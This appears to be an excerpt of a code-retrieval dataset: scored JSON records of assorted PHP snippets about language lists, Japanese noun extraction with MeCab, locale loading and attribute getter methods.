['name' => 'Polish','script' => 'Latn', 'native' => 'polski', 'regional' => 'pl_PL'],\n\t\t];\n\n\t\treturn self::findVisibleLanguages($allLangues);\n\t}", "title": "" }, { "docid": "823dd8602c7f3444d0af45f72ac64256", "score": "0.49915633", "text": "public function getAcceptedLanguages()\n {\n return self::all()->pluck('code');\n }", "title": "" }, { "docid": "ef54b2a9ce6152eadacffb6162bc175c", "score": "0.4987136", "text": "public function _getNaturesAlphabetically() {\n\t\t$result = $this->natureDAO->alphabeticallyListAll ();\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "613655c59e24111dc06a71fd24967c33", "score": "0.49859825", "text": "function MeCab_research($text){\n //$nodes = $meCab->parseToNode($text);\n //$meCabText = $meCab->parse($text);\n // print_r($meCabText);\n // $meCabArr = preg_split('/,/', $meCabText);\n // print_r($meCabArr);\n // echo \"<p></p>\";\n // for ($i=0; $i < count($meCabArr); $i++) { \n // # code...\n // }\n\n\n // foreach ($meCabArr as $key) {\n // //print_r($key);\n // //echo \"<p></p>\";\n // //print_r($meCabArr[$key]);\n\n // if (strpos($key, '名詞') !== FALSE)\n // { \n\n // print_r($key);\n // echo \"//\";\n // //echo $keywords[$i];\n // //$twiWordsArr[$keywords[$i]] ++;\n // //$twiWordsArr[$i] ++;\n // }\n // }\n /**\n * Usage:\n * cat data.txt | php example-countMeishi.php {appearances}\n */\n // 解析する文章\n $sentence = $text;\n // 出現回数のしきい値\n // この値以上出現した名詞を集計する\n $appearances = 1;\n // 名詞を表す品詞ID\n // - 品詞IDの定義\n // - http://mecab.googlecode.com/svn/trunk/mecab/doc/posid.html\n $meishiPosIdArr = [];\n // $meishiPosIdArr[] = 36; // 名詞 サ変接続\n // $meishiPosIdArr[] = 37; // 名詞 ナイ形容詞語幹\n $meishiPosIdArr[] = 38; // 名詞 一般\n // $meishiPosIdArr[] = 39; // 名詞 引用文字列\n // $meishiPosIdArr[] = 40; // 名詞 形容動詞語幹\n $meishiPosIdArr[] = 41; // 名詞 固有名詞 一般\n $meishiPosIdArr[] = 42; // 名詞 固有名詞 人名 一般\n $meishiPosIdArr[] = 43; // 名詞 固有名詞 人名 姓\n $meishiPosIdArr[] = 44; // 名詞 固有名詞 人名 名\n $meishiPosIdArr[] = 45; // 名詞 固有名詞 組織\n $meishiPosIdArr[] = 46; // 名詞 固有名詞 地域 一般\n $meishiPosIdArr[] = 47; // 名詞 固有名詞 地域 国\n // $meishiPosIdArr[] = 48; // 名詞 数\n // $meishiPosIdArr[] = 49; // 名詞 接続詞的\n // $meishiPosIdArr[] = 50; // 名詞 接尾 サ変接続\n // $meishiPosIdArr[] = 51; // 名詞 接尾 一般\n // $meishiPosIdArr[] = 52; // 名詞 接尾 形容動詞語幹\n // $meishiPosIdArr[] = 53; // 名詞 接尾 助数詞\n // $meishiPosIdArr[] = 54; // 名詞 接尾 助動詞語幹\n // $meishiPosIdArr[] = 55; // 名詞 接尾 人名\n // $meishiPosIdArr[] = 56; // 名詞 接尾 地域\n // $meishiPosIdArr[] = 57; // 名詞 接尾 特殊\n // $meishiPosIdArr[] = 58; // 名詞 接尾 副詞可能\n // $meishiPosIdArr[] = 59; // 名詞 代名詞 一般\n // $meishiPosIdArr[] = 60; // 名詞 代名詞 縮約\n // $meishiPosIdArr[] = 61; // 名詞 動詞非自立的\n // $meishiPosIdArr[] = 62; // 名詞 特殊 助動詞語幹\n // $meishiPosIdArr[] = 63; // 名詞 非自立 一般\n // $meishiPosIdArr[] = 64; // 名詞 非自立 形容動詞語幹\n // $meishiPosIdArr[] = 65; // 名詞 非自立 助動詞語幹\n // $meishiPosIdArr[] = 66; // 名詞 非自立 副詞可能\n // $meishiPosIdArr[] = 67; // 名詞 副詞可能\n // 抽出した名詞を格納する配列\n $meishiArr = [];\n // =================================================\n // main\n // =================================================\n $mecab = new MeCab_Tagger();\n $nodes = $mecab->parseToNode($sentence);\n foreach ($nodes as $node) {\n if ($node->getStat() === MECAB_BOS_NODE || $node->getStat() === MECAB_EOS_NODE) {\n // BOS(文頭), EOS(文末) を表す特殊な形態素\n // ※空文字なので無視する\n continue;\n }\n // 名詞を抽出する\n if (in_array($node->getPosId(), $meishiPosIdArr)) {\n $meishiArr[] = $node->getSurface();\n }\n }\n // 出現回数をカウント\n $retArr = array_count_values($meishiArr);\n // $appearances 回以上出現したものに絞り込み\n $retArr = array_filter($retArr, function($v) use($appearances) {\n return ($v >= $appearances);\n });\n // 出現回数の降順(多い順)に並び替え\n arsort($retArr, SORT_NUMERIC);\n //print_r($retArr);\n return $retArr;\n\n\n}", "title": "" }, { "docid": "007617ac022a59863eb0894071f957c2", "score": "0.49819145", "text": "public function testLemmatizationUnknownWord() {\n $this->assertEquals(self::$lemmatizer->getLemmas('MacBooks', 'noun'), [new Lemma('MacBooks', 'noun')]);\n }", "title": "" }, { "docid": "7bb82cc3ed8ecf3cd7c71161b6c6d169", "score": "0.49779356", "text": "public function run()\n {\n $languages = json_decode('{\n \"1c\": \"1c\",\n \"abnf\": \"abnf\",\n \"accesslog\": \"accesslog\",\n \"actionscript\": \"actionscript\",\n \"ada\": \"ada\",\n \"apache\": \"apache\",\n \"applescript\": \"applescript\",\n \"arduino\": \"arduino\",\n \"armasm\": \"armasm\",\n \"asciidoc\": \"asciidoc\",\n \"aspectj\": \"aspectj\",\n \"autohotkey\": \"autohotkey\",\n \"autoit\": \"autoit\",\n \"avrasm\": \"avrasm\",\n \"awk\": \"awk\",\n \"axapta\": \"axapta\",\n \"bash\": \"bash\",\n \"basic\": \"basic\",\n \"bnf\": \"bnf\",\n \"brainfuck\": \"brainfuck\",\n \"cal\": \"cal\",\n \"capnproto\": \"capnproto\",\n \"ceylon\": \"ceylon\",\n \"clean\": \"clean\",\n \"clojure-repl\": \"clojure-repl\",\n \"clojure\": \"clojure\",\n \"cmake\": \"cmake\",\n \"coffeescript\": \"coffeescript\",\n \"coq\": \"coq\",\n \"cos\": \"cos\",\n \"cpp\": \"cpp\",\n \"crmsh\": \"crmsh\",\n \"crystal\": \"crystal\",\n \"cs\": \"cs\",\n \"csp\": \"csp\",\n \"css\": \"css\",\n \"d\": \"d\",\n \"dart\": \"dart\",\n \"delphi\": \"delphi\",\n \"diff\": \"diff\",\n \"django\": \"django\",\n \"dns\": \"dns\",\n \"dockerfile\": \"dockerfile\",\n \"dos\": \"dos\",\n \"dsconfig\": \"dsconfig\",\n \"dts\": \"dts\",\n \"dust\": \"dust\",\n \"ebnf\": \"ebnf\",\n \"elixir\": \"elixir\",\n \"elm\": \"elm\",\n \"erb\": \"erb\",\n \"erlang-repl\": \"erlang-repl\",\n \"erlang\": \"erlang\",\n \"excel\": \"excel\",\n \"fix\": \"fix\",\n \"flix\": \"flix\",\n \"fortran\": \"fortran\",\n \"fsharp\": \"fsharp\",\n \"gams\": \"gams\",\n \"gauss\": \"gauss\",\n \"gcode\": \"gcode\",\n \"gherkin\": \"gherkin\",\n \"glsl\": \"glsl\",\n \"go\": \"go\",\n \"golo\": \"golo\",\n \"gradle\": \"gradle\",\n \"groovy\": \"groovy\",\n \"haml\": \"haml\",\n \"handlebars\": \"handlebars\",\n \"haskell\": \"haskell\",\n \"haxe\": \"haxe\",\n \"hsp\": \"hsp\",\n \"htmlbars\": \"htmlbars\",\n \"http\": \"http\",\n \"inform7\": \"inform7\",\n \"ini\": \"ini\",\n \"irpf90\": \"irpf90\",\n \"java\": \"java\",\n \"javascript\": \"javascript\",\n \"json\": \"json\",\n \"julia\": \"julia\",\n \"kotlin\": \"kotlin\",\n \"lasso\": \"lasso\",\n \"ldif\": \"ldif\",\n \"less\": \"less\",\n \"lisp\": \"lisp\",\n \"livecodeserver\": \"livecodeserver\",\n \"livescript\": \"livescript\",\n \"lsl\": \"lsl\",\n \"lua\": \"lua\",\n \"makefile\": \"makefile\",\n \"markdown\": \"markdown\",\n \"mathematica\": \"mathematica\",\n \"matlab\": \"matlab\",\n \"maxima\": \"maxima\",\n \"mel\": \"mel\",\n \"mercury\": \"mercury\",\n \"mipsasm\": \"mipsasm\",\n \"mizar\": \"mizar\",\n \"mojolicious\": \"mojolicious\",\n \"monkey\": \"monkey\",\n \"moonscript\": \"moonscript\",\n \"nginx\": \"nginx\",\n \"nimrod\": \"nimrod\",\n \"nix\": \"nix\",\n \"nsis\": \"nsis\",\n \"objectivec\": \"objectivec\",\n \"ocaml\": \"ocaml\",\n \"openscad\": \"openscad\",\n \"oxygene\": \"oxygene\",\n \"parser3\": \"parser3\",\n \"perl\": \"perl\",\n \"pf\": \"pf\",\n \"php\": \"php\",\n \"pony\": \"pony\",\n \"powershell\": \"powershell\",\n \"processing\": \"processing\",\n \"profile\": \"profile\",\n \"prolog\": \"prolog\",\n \"protobuf\": \"protobuf\",\n \"puppet\": \"puppet\",\n \"purebasic\": \"purebasic\",\n \"python\": \"python\",\n \"q\": \"q\",\n \"qml\": \"qml\",\n \"r\": \"r\",\n \"rib\": \"rib\",\n \"roboconf\": \"roboconf\",\n \"rsl\": \"rsl\",\n \"ruby\": \"ruby\",\n \"ruleslanguage\": \"ruleslanguage\",\n \"rust\": \"rust\",\n \"scala\": \"scala\",\n \"scheme\": \"scheme\",\n \"scilab\": \"scilab\",\n \"scss\": \"scss\",\n \"smali\": \"smali\",\n \"smalltalk\": \"smalltalk\",\n \"sml\": \"sml\",\n \"sqf\": \"sqf\",\n \"sql\": \"sql\",\n \"stan\": \"stan\",\n \"stata\": \"stata\",\n \"step21\": \"step21\",\n \"stylus\": \"stylus\",\n \"subunit\": \"subunit\",\n \"swift\": \"swift\",\n \"taggerscript\": \"taggerscript\",\n \"tap\": \"tap\",\n \"tcl\": \"tcl\",\n \"tex\": \"tex\",\n \"thrift\": \"thrift\",\n \"tp\": \"tp\",\n \"twig\": \"twig\",\n \"typescript\": \"typescript\",\n \"vala\": \"vala\",\n \"vbnet\": \"vbnet\",\n \"vbscript-html\": \"vbscript-html\",\n \"vbscript\": \"vbscript\",\n \"verilog\": \"verilog\",\n \"vhdl\": \"vhdl\",\n \"vim\": \"vim\",\n \"x86asm\": \"x86asm\",\n \"xl\": \"xl\",\n \"xml\": \"xml\",\n \"xquery\": \"xquery\",\n \"yaml\": \"yaml\",\n \"zephir\": \"zephir\"\n}');\n\n foreach ($languages as $languageKey => $languageLabel) {\n \\App\\Language::create(['language' => $languageKey]);\n }\n }", "title": "" }, { "docid": "f512ecfbf8f2b39657c8ad6af6b83a90", "score": "0.4977485", "text": "function globallink_get_drupal_locales() {\n $languages = array();\n\n $result = db_select('languages', 'l')\n ->fields('l')\n ->condition('enabled', '1', '=')\n ->execute();\n\n foreach ($result as $row) {\n $languages[$row->language] = $row->name;\n }\n\n return $languages;\n}", "title": "" }, { "docid": "9b84eb00e8da45c67143f168b22cc19b", "score": "0.49759284", "text": "public function index()\n {\n $animals = Animal::get();\n return $animals;\n }", "title": "" }, { "docid": "8d793c1b2f0db62b64ccd94e53782d4e", "score": "0.4967765", "text": "static function getAllLanguages() {\n\t\treturn KenedoPlatform::p()->getLanguages();\n\t}", "title": "" }, { "docid": "e2f1ee179128a6b36d823ce2c2123310", "score": "0.49623355", "text": "private function load_static_texts_by_language()\n\t{\n\n\t\t$language_url = base_url('language');\n\t\t$portuguese = array('link' => $language_url . '/pt', 'language' => 'Português');\n\t\t$english = array('link' => $language_url . '/en', 'language' => 'English');\n\t\t$spanish = array('link' => $language_url . '/es', 'language' => 'Español');\n\t\t$languages_translated_files = array('scielo', 'pagination', 'db', 'email');\n\t\t$available_languages = array();\n\n\t\tswitch ($this->language) {\n\n\t\t\tcase SCIELO_LANG:\n\t\t\t\tsetlocale(LC_ALL, 'pt_BR.UTF8');\n\t\t\t\t$this->lang->load($languages_translated_files, 'portuguese-brazilian');\n\t\t\t\t$available_languages[] = $english;\n\t\t\t\t$available_languages[] = $spanish;\n\t\t\t\tbreak;\n\n\t\t\tcase SCIELO_EN_LANG:\n\t\t\t\tsetlocale(LC_ALL, 'en_US.UTF8');\n\t\t\t\t$this->lang->load($languages_translated_files, 'english');\n\t\t\t\t$available_languages[] = $portuguese;\n\t\t\t\t$available_languages[] = $spanish;\n\t\t\t\tbreak;\n\n\t\t\tcase SCIELO_ES_LANG:\n\t\t\t\tsetlocale(LC_ALL, 'es_ES.UTF-8');\n\t\t\t\t$this->lang->load($languages_translated_files, 'spanish');\n\t\t\t\t$available_languages[] = $english;\n\t\t\t\t$available_languages[] = $portuguese;\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$this->load->vars('available_languages', $available_languages);\n\t}", "title": "" }, { "docid": "05cabd7ffc0f0e8203a7146f21734a92", "score": "0.49585262", "text": "static function by_name($name, $log_info=NULL) {\n\t\tglobal $languages;\n\t\tif (isset($languages[$name])) {\n\t\t\treturn $languages[$name];\n\t\t} else {\n\t\t\tLog::warning(\"Unknown language: \\\"$name\\\"\");\n\t\t\treturn $languages['any'];\n\t\t}\n\t}", "title": "" }, { "docid": "7b05c734bcb423b106d34d1f0b244651", "score": "0.49585122", "text": "public static function all()\n {\n // Codes, see: https://www.science.co.il/language/Codes.php\n return Collection::make([\n [\n 'code' => 'pt_br',\n 'flag' => 'br',\n 'name' => 'Português',\n ],\n [\n 'code' => 'en',\n 'flag' => 'us',\n 'name' => 'English',\n ],\n ]);\n }", "title": "" }, { "docid": "845ecd3229b31280e901e966e634b78d", "score": "0.49564493", "text": "public function getLanguages( ){\n $controller = new LanguageGetLanguages( $this->debugger );\n // done \n return $controller->getLanguages( $this );\n \n }", "title": "" }, { "docid": "c58044bb0c33586de68d960e5c611f26", "score": "0.49439126", "text": "final public function allLang()\n {\n return array_keys($this->data);\n }", "title": "" }, { "docid": "ad230a354b0b9c4ae3a9226e75ec2774", "score": "0.49422586", "text": "protected function languageParse($found){\n return $this->lang->getLangValue($found);\n }", "title": "" }, { "docid": "f65406dabd106c7a6a481d649d1aea2a", "score": "0.49376792", "text": "private function getLanguageTranslations()\n {\n return LanguageTranslation::join(\n 'languages', 'languages.id', '=', 'language_translations.lang_id'\n )->join(\n 'language_strings', 'language_strings.id', '=', 'language_translations.lang_string_id'\n )->get()->groupBy('lang_short');\n }", "title": "" }, { "docid": "c79d28a255f4384ad5a821a79fbb6fdd", "score": "0.49310812", "text": "abstract public function translatable(): array;", "title": "" }, { "docid": "3dce4fadd147a21af093fff1e8d74984", "score": "0.4922125", "text": "public function examples()\r\n {\r\n try{\r\n $this->result = $this->client->get(\r\n \"{$this->base}/entries/en/{$this->word}/examples\"\r\n );\r\n\r\n if($this->result->getStatusCode() == 200){\r\n $this->reset_definer();\r\n return (\r\n new ExampleParser(\r\n json_decode(\r\n $this->result->getBody()->getContents()\r\n )->results\r\n )\r\n );\r\n }\r\n throw new Exception('An error occurred');\r\n\r\n }catch (Exception $e){\r\n throw new TranslateException($e->getCode());\r\n }\r\n }", "title": "" }, { "docid": "f97aea9125a3ba56f2c30c0a54b63851", "score": "0.4919406", "text": "public function getLanguageList()\n {\n $db = new LanguageTable();\n return $db->getPairs();\n }", "title": "" }, { "docid": "089ca7670148858982cc0e028ed2736b", "score": "0.49191794", "text": "public function languages()\n {\n return $this->language->all();\n }", "title": "" }, { "docid": "bfdb425287ed590f493826e73f66f2be", "score": "0.4917233", "text": "function autoConvertToAllVariants($text) {\n\t\t$fname=\"LanguageConverter::autoConvertToAllVariants\";\n\t\twfProfileIn( $fname );\n\t\tif( !$this->mTablesLoaded )\n\t\t\t$this->loadTables();\n\n\t\t$ret = array();\n\t\tforeach($this->mVariants as $variant) {\n\t\t\t$ret[$variant] = $this->translate($text, $variant);\n\t\t}\n\n\t\twfProfileOut( $fname );\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "782d197fd4a050ba46610992d00f9dda", "score": "0.49018627", "text": "public function getAnimals() {\n return OwnedAnimal::where('type', $this->animal_type)->get();\n }", "title": "" } ]
344225f48885726d71fc78c113d69a92
Shortcut to get attribute
[ { "docid": "17a78a8a2a831bf975e139d2f89b4883", "score": "0.0", "text": "public function offsetGet(mixed $key): mixed\n {\n return $this->getAttribute(Coercion::toString($key));\n }", "title": "" } ]
[ { "docid": "802248d0d423583da0e4971e4c71420c", "score": "0.85483575", "text": "public function getAttribute();", "title": "" }, { "docid": "41b6f958fce2ea645a5ae48032f269cd", "score": "0.8205994", "text": "public function __get($attribute) {}", "title": "" }, { "docid": "64e9d67db57dfd42e1a1da2c4bd2940c", "score": "0.79642695", "text": "public function __GET($attr){\n\n\t\t return $this->$attr;\n\t\t}", "title": "" }, { "docid": "86908cbc8c35ff56d04884da6e1e0dbd", "score": "0.78566086", "text": "function get_attribute($tag, $attr) {\n return get_attr($tag, $attr);\n}", "title": "" }, { "docid": "0c1f2d65bb7491f7d4c9a10ffa64a5c7", "score": "0.7728861", "text": "public function get_attribute($key, $defaut = NULL);", "title": "" }, { "docid": "a14c69f908b9de24e624e4cba33c52d2", "score": "0.77082527", "text": "function get_attribute($attrib)\r\n\t{\r\n\t\tif (isset($this->attributes[$attrib]))\r\n\t\t\treturn $this->attributes[$attrib];\r\n\t}", "title": "" }, { "docid": "0087882597360e185133ffe5e51d0f7c", "score": "0.77081233", "text": "abstract protected function getAttribute($attribute);", "title": "" }, { "docid": "fd88004f4ad83ab4e87575b1a352d72a", "score": "0.7700185", "text": "public function get($attributeName);", "title": "" }, { "docid": "033627066b2ff83fbfdb21245108bea7", "score": "0.76693773", "text": "public function getAttribute(): string\n {\n return $this->attribute;\n }", "title": "" }, { "docid": "e9710875a276700c655711ae6fb014ae", "score": "0.7661869", "text": "public function getAttribute()\n {\n return $this->getValueObject('attribute');\n }", "title": "" }, { "docid": "275a58a0ab503de963c580a505913ae9", "score": "0.7651658", "text": "public function getAttribute($attribute)\n {\n }", "title": "" }, { "docid": "96ba20698c93bc471ec9702386991c9d", "score": "0.7636638", "text": "public function getAttribute($name);", "title": "" }, { "docid": "e3e65a91cd97152093a7b11e68bd7893", "score": "0.7606868", "text": "public function __get($attribute)\n {\n if ( isset($this->attributes[$attribute]) ) return $this->attributes[$attribute];\n }", "title": "" }, { "docid": "96fa8672f01c6275c614118b52423357", "score": "0.75752544", "text": "public function __get($attribute){\r\n\t\tif(isset($this->attributes[$attribute])){\r\n\t\t\treturn $this->attributes[$attribute];\r\n\t\t}\r\n\t\treturn NULL;\r\n\t}", "title": "" }, { "docid": "5d3ed989566b802e687f4d92844c2383", "score": "0.7555617", "text": "public function get_attribute($name)\n {\n }", "title": "" }, { "docid": "bcf3df82c3dfbcb768b6c809e8ae6185", "score": "0.75337833", "text": "public function getAttribute()\n {\n return $this->attribute;\n }", "title": "" }, { "docid": "caf156f53cdcd25a358a70b8e5bd9849", "score": "0.75102556", "text": "function get_attribute( $name ) {\n\t\tif ( isset( $this->attributes[ $name ] ) ) {\n\t\t\treturn $this->attributes[ $name ];\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}", "title": "" }, { "docid": "39bc1a8ce6aa109069bf8ed1dd442336", "score": "0.7492457", "text": "public function getAttribute(string $name);", "title": "" }, { "docid": "dffaedf89debea8ace66def570942136", "score": "0.74892473", "text": "public function __get($attribute)\n {\n return array_get($this->attributes, $attribute);\n }", "title": "" }, { "docid": "905bd3927bfed1eb8a06aca2a36c6dde", "score": "0.74251515", "text": "public function getAttr($attr)\n {\n return property_exists($this, $attr) ? $this->{$attr} : null;\n }", "title": "" }, { "docid": "d9dfe6630c7ddc04651c91b436a17afd", "score": "0.7417921", "text": "public function __get($attribute) {\n return $this->getAttribute($attribute);\n }", "title": "" }, { "docid": "e6ade90cd8361e845d5fed7158d94024", "score": "0.7416535", "text": "public function getAttribute()\n {\n if (array_key_exists(\"attribute\", $this->_propDict)) {\n return $this->_propDict[\"attribute\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "6f1657fb2af09a7f9b9d07ba40ca5213", "score": "0.7416244", "text": "function getAttribute($attribute)\n {\n return parent::getAttribute($attribute);\n }", "title": "" }, { "docid": "fad09339b37fc8649493176975834bab", "score": "0.7362128", "text": "public function getIdentifyingAttribute();", "title": "" }, { "docid": "93912369bf9a415d33b6983b7eecefd5", "score": "0.7332943", "text": "public function __get($attr)\n {\n return $this->get($attr);\n }", "title": "" }, { "docid": "0401b68f9b0bc01bb002fa70bb122c76", "score": "0.7332187", "text": "public function attr() {\n\t\treturn utils::attr($this->attr, func_get_args());\n\t}", "title": "" }, { "docid": "b5b74fbc6ffda26f9c8197fce9ba4004", "score": "0.7320333", "text": "public function getAttribute($attribute)\n {\n return $this->{$attribute};\n }", "title": "" }, { "docid": "e5f420f1680d2fbb8e7d1dd28b1934a0", "score": "0.7296233", "text": "public function get($attr) {\n return array_key_exists($attr, $this->_private_attributes) ? $this->_private_attributes[$attr] : null;\n }", "title": "" }, { "docid": "0fc27f1ec49cc5257f33c330cb6f1620", "score": "0.7256416", "text": "public function getAttribute($name)\n\t{\n\t\tif(property_exists($this,$name))\n\t\t\treturn $this->$name;\n\t\telseif(isset($this->_attributes[$name])) {\n\t\t\treturn $this->_attributes[$name];\n\t\t}\n\t}", "title": "" }, { "docid": "3ccb8592dce3d404bcf672941dbf9c4a", "score": "0.7254265", "text": "function get_attribute($attribute)\n\t{\n\t\t$attribute = $this->db->getAttribute(constant(\"PDO::\".$attribute.\"\"));\n\n\t\treturn $attribute;\n\t}", "title": "" }, { "docid": "a3c326c54c743e000b5f091f08002c0c", "score": "0.7244915", "text": "public function getAttribute($name)\r\n\t{\r\n\t\treturn $this->__get($name);\r\n\t}", "title": "" }, { "docid": "f0205742f71ea208492b24293bea8c69", "score": "0.7209485", "text": "public function attribute(string $name);", "title": "" }, { "docid": "b098b48a956c57dfbb24742e92ad18dd", "score": "0.7190701", "text": "public function get_attribute($field){\n\t\treturn $this->{$field};\n\t}", "title": "" }, { "docid": "54c65788f0efcfb2c9622262e50f4199", "score": "0.7185227", "text": "function get_attribute( $key ) {\n\t\treturn isset( $this->attributes[$key] ) ? $this->attributes[$key] : null;\n\t}", "title": "" }, { "docid": "d4bcd970d57baec7f4aaff1da090a833", "score": "0.7155682", "text": "public function getAttrib() {\n return $this->attrib;\n }", "title": "" }, { "docid": "aefbb148fe7c75783ed79a25a4486efa", "score": "0.7153994", "text": "public function getAttribute($key)\n {\n }", "title": "" }, { "docid": "4a7acbca1f5aba22bf3361b7eda8f7cb", "score": "0.7132945", "text": "public function attribute(string $name) {\n\t\treturn $this->m_attributes[$name] ?? null;\n\t}", "title": "" }, { "docid": "530508240a5747918e9553acbd076bda", "score": "0.7108725", "text": "public function get($attr) {\n if (!isset($this->attrs[$attr])) {\n return null;\n }\n return $this->attrs[$attr];\n }", "title": "" }, { "docid": "086a72ac274eb1b5a222abe15eb3ca18", "score": "0.709403", "text": "public function getAttribute($attributeName) {\n return $this->$attributeName;\n }", "title": "" }, { "docid": "8dcd0b989bad475c9e9e02b2495c5e90", "score": "0.70938706", "text": "public function __get($atrib){\n\t\treturn $this->$atrib;\n\t}", "title": "" }, { "docid": "8dcd0b989bad475c9e9e02b2495c5e90", "score": "0.70938706", "text": "public function __get($atrib){\n\t\treturn $this->$atrib;\n\t}", "title": "" }, { "docid": "8dcd0b989bad475c9e9e02b2495c5e90", "score": "0.70938706", "text": "public function __get($atrib){\n\t\treturn $this->$atrib;\n\t}", "title": "" }, { "docid": "08cabe3569d8187f251b6f009b7574b3", "score": "0.7080127", "text": "public function attr($key) {\n\t\treturn isset($this->attributes[$key]) ? $this->attributes[$key] : null;\n\t}", "title": "" }, { "docid": "8aa259a705b15efbc6f7caae821c3a8b", "score": "0.7060389", "text": "public function __attribute($name)\n {\n return $this->__attributes[$name];\n }", "title": "" }, { "docid": "7c9dd1c1b94100b2b4cc7282d4314181", "score": "0.70235395", "text": "public function getAttribute($attribute) { return $this->currentConnection->getAttribute($attribute); }", "title": "" }, { "docid": "cc395dcf7409c3300c7895bdb2297786", "score": "0.702334", "text": "public function getAttribute($key)\n {\n return $this->attributes[$key];\n }", "title": "" }, { "docid": "cc395dcf7409c3300c7895bdb2297786", "score": "0.702334", "text": "public function getAttribute($key)\n {\n return $this->attributes[$key];\n }", "title": "" }, { "docid": "35c1a34ec5b20fb4395603aa82b3590b", "score": "0.702231", "text": "public function __get($attribute)\n {\n if (property_exists($this, $attribute))\n {\n return $this->$attribute;\n }\n if ($attribute == $this->getPkName())\n {\n return $this->getPkValue();\n }\n }", "title": "" }, { "docid": "38392bb17f68ac114fc803c2e4139137", "score": "0.69960904", "text": "public function attr($name, $get='string') {\r\n foreach ($this->attributes() as $key => $val) {\r\n if ($key == $name) {\r\n switch ($get) {\r\n case 'array':\r\n return (array)$val;\r\n case 'integer':\r\n case 'int':\r\n return (int)$val;\r\n case 'boolean':\r\n case 'bool':\r\n if ((is_numeric((string)$val) && (string)$val == '0') || (string)$val == 'false' || (string)$val == '') {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n case 'float':\r\n return (float)$val;\r\n case 'double':\r\n return (double)$val;\r\n case 'string':\r\n case 'str':\r\n default:\r\n return (string)$val;\r\n }\r\n }\r\n }\r\n return null;\r\n }", "title": "" }, { "docid": "576e72177e9f3a4cb5f848d8a50eb120", "score": "0.6993889", "text": "public function getAttribute()\n {\n return $this->filterParam . '[' . $this->attribute . ']';\n }", "title": "" }, { "docid": "c646d95a1187cf5ad695152881082f8d", "score": "0.6978708", "text": "final public function getAttribute($name) {\n\t\tif ($this->hasAttribute($name)) {\n\t\t\treturn $this->_attributes[strtolower($name)];\n\t\t}\n\t\tthrow new CakeException(sprintf('Unknown attrbiute: %s', $name));\n\t}", "title": "" }, { "docid": "50412f825fafc8b3a1497f4d43a3d5e2", "score": "0.6978511", "text": "public function GetAttribute ()\r\n\t{\r\n\t\treturn $this->_attr_field;\r\n\t}", "title": "" }, { "docid": "8baa1044b10ca95ace023eb2a5b55417", "score": "0.69690084", "text": "function getAttribute($name)\n {\n return $this->sf1Token->getAttribute($name);\n }", "title": "" }, { "docid": "b88c103e660acdf3993c456c7547c5d4", "score": "0.6968182", "text": "public function getAttribute($name)\n {\n\n // query whether or not the extended property exists\n if (isset($this->attributes[$name])) {\n return $this->attributes[$name];\n }\n }", "title": "" }, { "docid": "84088d40bc2d06117d9f6dfdd63c7861", "score": "0.6967328", "text": "public function getAttr(string $key) {\n return (array_key_exists($key, $this->attributes) ? $this->attributes[$key] : null);\n }", "title": "" }, { "docid": "a4979fce9cdfebf87984ab0d5c10fa6c", "score": "0.6952889", "text": "public function getAttribute($attribute, $defaultValue=null) {}", "title": "" }, { "docid": "ec7132db650c2d70b8deb7550bd76269", "score": "0.6951797", "text": "public function __get($attribute)\r\n\t{\r\n\t\tif (isset($this->{\"_\".$attribute}))\r\n\t\t{\r\n\t\t\treturn $this->{\"_\".$attribute};\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "84699a718d6eb6938d60f66780d57846", "score": "0.6940162", "text": "function __get($propName)\n {\n foreach ($this->aAttribs as $k => $oAttribute) {\n if ($oAttribute->name == $propName) {\n return $this->aAttribs[$k]->value;\n }\n }\n }", "title": "" }, { "docid": "c67f155f168b26e97f5597eeb852b802", "score": "0.69162863", "text": "public function getAttribute() \n {\n return $this->_fields['Attribute']['FieldValue'];\n }", "title": "" }, { "docid": "0d33e4a542c4ce6100ff49fc83e2c2c9", "score": "0.6912702", "text": "public function attribute($id, $name)\n\t{\n\t\treturn $this->connection()->get(\"element/$id/attribute/$name\");\n\t}", "title": "" }, { "docid": "b3791b4956e5ab9ea803bfaa5e2ccbdd", "score": "0.69021726", "text": "public function __get( string$attribute )\n\t{\n\t\t$getter= \"__get__$attribute\";\n\t\t\n\t\tif( is_callable( [ $this, $getter ] ) )\n\t\t\treturn $this->$getter();\n\t\telse\n\t\tif( get_parent_class( self::class ) && is_callable( [ $this, parent::__get, ] ) )\n\t\t\treturn parent::__get( $attribute );\n\t\telse\n\t\t\treturn null;\n\t}", "title": "" }, { "docid": "18c9a3071d281bc5338821c02a452e4f", "score": "0.6899095", "text": "public function __get($name)\n {\n return $this->getAttribute($name);\n }", "title": "" }, { "docid": "18c9a3071d281bc5338821c02a452e4f", "score": "0.6899095", "text": "public function __get($name)\n {\n return $this->getAttribute($name);\n }", "title": "" }, { "docid": "e3b743bcc7d837d46c733f35ed1396a4", "score": "0.6893458", "text": "public function get($atributo){\n\treturn $this->$atributo;\n\t}", "title": "" }, { "docid": "88abee65f241d3db36a759b83e4c1b5c", "score": "0.6879275", "text": "public function readAttribute($attribute){\n\t\t#if[compile-time]\n\t\tCoreType::assertString($attribute);\n\t\t#endif\n\t\t$this->_connect();\n\t\treturn $this->$attribute;\n\t}", "title": "" }, { "docid": "5e2bc52360dbe7ac2cd4f30ead88cf40", "score": "0.68733644", "text": "public function getAttribute( $iAttributeId );", "title": "" }, { "docid": "53168de14f179bd00139d946592897a2", "score": "0.68573415", "text": "public function getAttribute($attribute) {\n\t\tif (!isset($this->{$attribute})) {\n\t\t\treturn null;\n\t\t}\n\t\treturn $this->{$attribute};\n\t}", "title": "" }, { "docid": "53168de14f179bd00139d946592897a2", "score": "0.68573415", "text": "public function getAttribute($attribute) {\n\t\tif (!isset($this->{$attribute})) {\n\t\t\treturn null;\n\t\t}\n\t\treturn $this->{$attribute};\n\t}", "title": "" }, { "docid": "4571668ffc19ea409b1ddba965d6dca2", "score": "0.6842144", "text": "public function read_attribute($attribute)\n\t\t{\n\t\t\tif(!isset($this->matchcode[$attribute]) )\n\t\t\t{\n\t\t\t\terror_log(__FILE__.' name '.$attribute.' not defined in matchcode array');die();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif($this->matchcode[$attribute][1] == 'A' || $this->matchcode[$attribute][1] == 